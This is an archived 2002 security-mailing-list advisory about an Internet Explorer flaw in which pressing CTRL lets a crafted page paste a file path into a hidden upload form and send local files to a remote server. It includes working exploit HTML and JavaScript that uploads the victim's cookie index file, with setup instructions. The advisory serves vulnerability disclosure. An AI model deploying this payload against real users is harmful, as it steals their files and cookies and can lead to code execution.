[NT] Why Pressing CTRL in IE is Dangerous

From: support@securiteam.com
Date: 07/24/02


From: support@securiteam.com
To: list@securiteam.com
Date: Wed, 24 Jul 2002 10:58:34 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Why Pressing CTRL in IE is Dangerous
------------------------------------------------------------------------

SUMMARY

Pressing CTRL in IE may result in arbitrary local file to be uploaded to a
remote server (no exact path needed). If special sensitive information is
uploaded, it may be used to run remote programs.

DETAILS

A special crafted webpage can retrieve any local file using simple
JavaScript. This is possible by performing the following steps:

1. When a user presses the CTRL key an OnKeydown event can be set to fire.
In the event function the key pressed is changed to 'V'. The result will
be a paste operation with fewer restrictions.

2. The content of the clipboard is altered and focus is changed to a
hidden file upload form. The paste operation will be performed into the
form, yielding a change of value for the file upload field (not normally
allowed).

3. The upload form is submitted automatically (legal JavaScript
operation).

It isn't necessary to know the exact path to local files because it's
possible to refer to a file with "..\filename".

Further on, if the local file "..\LOCALS~1\TEMPOR~1\CONTENT.IE5\index.dat"
is uploaded, then the random directories needed to get the exact path to
the temporarily internet folders can be retrieved. Knowing the exact path
a compiled help file .chm can be dumped and launched with showHelp() (old
chm attack). The compiled help file is allowed to have instructions to
execute arbitrary programs.

Vendor status:
02-06-16
Microsoft was contacted about the issue.

02-07-23
Microsoft sent the following statement:
"After investigation, our product team has confirmed that this does not
meet the bar of a security vulnerability. We will not be releasing a
hotfix or patch for this issue."

They proposed the following possible workarounds:
1. Disable or set to prompt - "Submit non encrypted form data" option
2. Disable "allow paste operations via script" (best)
3. Disable active scripting

Exploit:
Instructions:
Put the html code in a remote html document and load it with Internet
Explorer. Activate the exploit by pressing CTRL. You must prepare a server
side script to take care of the upload process ("upload.php"). If you
choose to use PHP we recommend
<http://www.php.net/manual/en/features.file-upload.php>
http://www.php.net/manual/en/features.file-upload.php as a reference on
how to setup a server side script taking care of a file upload.

Note:
1. Please remove all "!" characters in the exploit code. They have been
inserted to decrease false virus alarms triggered by this mail.
2. Default settings are assumed.

Exploit code:
-------------------------- CUT HERE -------------------------------
<!div id=h style="zoom:0.0001">
<!form name=u enctype="multipart/form-data" method=post action=upload.php>
<!input type=file name=file></form></div>
<!script>
//uploadFile="..\\LOCALS~1\\TEMPOR~1\\CONTENT.IE5\\index.dat";
uploadFile="..\\Cookies\\index.dat";
function gotKey(){
  if (!event.ctrlKey) return;
  document.onkeydown = null;
  event.keyCode = 86;
  window.clipboardData.setData("Text",uploadFile);
  (p=document.forms.u.file).focus();
  p.onpropertychange = function(){document.forms.u.submit()};
} document.onkeydown = gotKey;
window.onload=function(){document.body.focus()};
<!/script>
-------------------------- CUT HERE -------------------------------

ADDITIONAL INFORMATION

The information has been provided by <mailto:sandblad@acc.umu.se> Andreas
Sandblad.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • Re: File Upload - Security Issues
    ... You want to upload a file for what reason and ... these viruses have less chance of being able to execute (even if succeeded ... :> file and what pitfalls you see re: security might be helpful on this ... :>: files to an IIS server that doesn't have MS Office actually installed? ...
    (microsoft.public.scripting.vbscript)
  • Re: why file upload cannot work?
    ... Is it possible to write a script that mimic's a user clicking the upload ... My point is instead that no Web standard says how a file input control is to ... but I grow a little tired of 'security precautions'. ...
    (comp.lang.javascript)
  • Re: File Upload - Security Issues
    ... uploaded and the user could upload any or all of these in theory. ... There is no one product that can give you 100% security, ... > Code doesn't execute in local memory space unless remote user has rights ... > You don't have MS Office installed on the server. ...
    (microsoft.public.scripting.vbscript)
  • Re: File Upload - Security Issues
    ... You want to upload a file for what reason and you do ... file and what pitfalls you see re: security might be helpful on this end?! ... files to an IIS server that doesn't have MS Office actually installed? ... 2* Upon submit this is submitted to an ASP page that then (using the XML ...
    (microsoft.public.scripting.vbscript)
  • [UNIX] Alexandria-dev / SourceForge Multiple Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... have got upload spoofing security holes, that is, they allow an attacker ... supported by SourceForge / VASoftware. ...
    (Securiteam)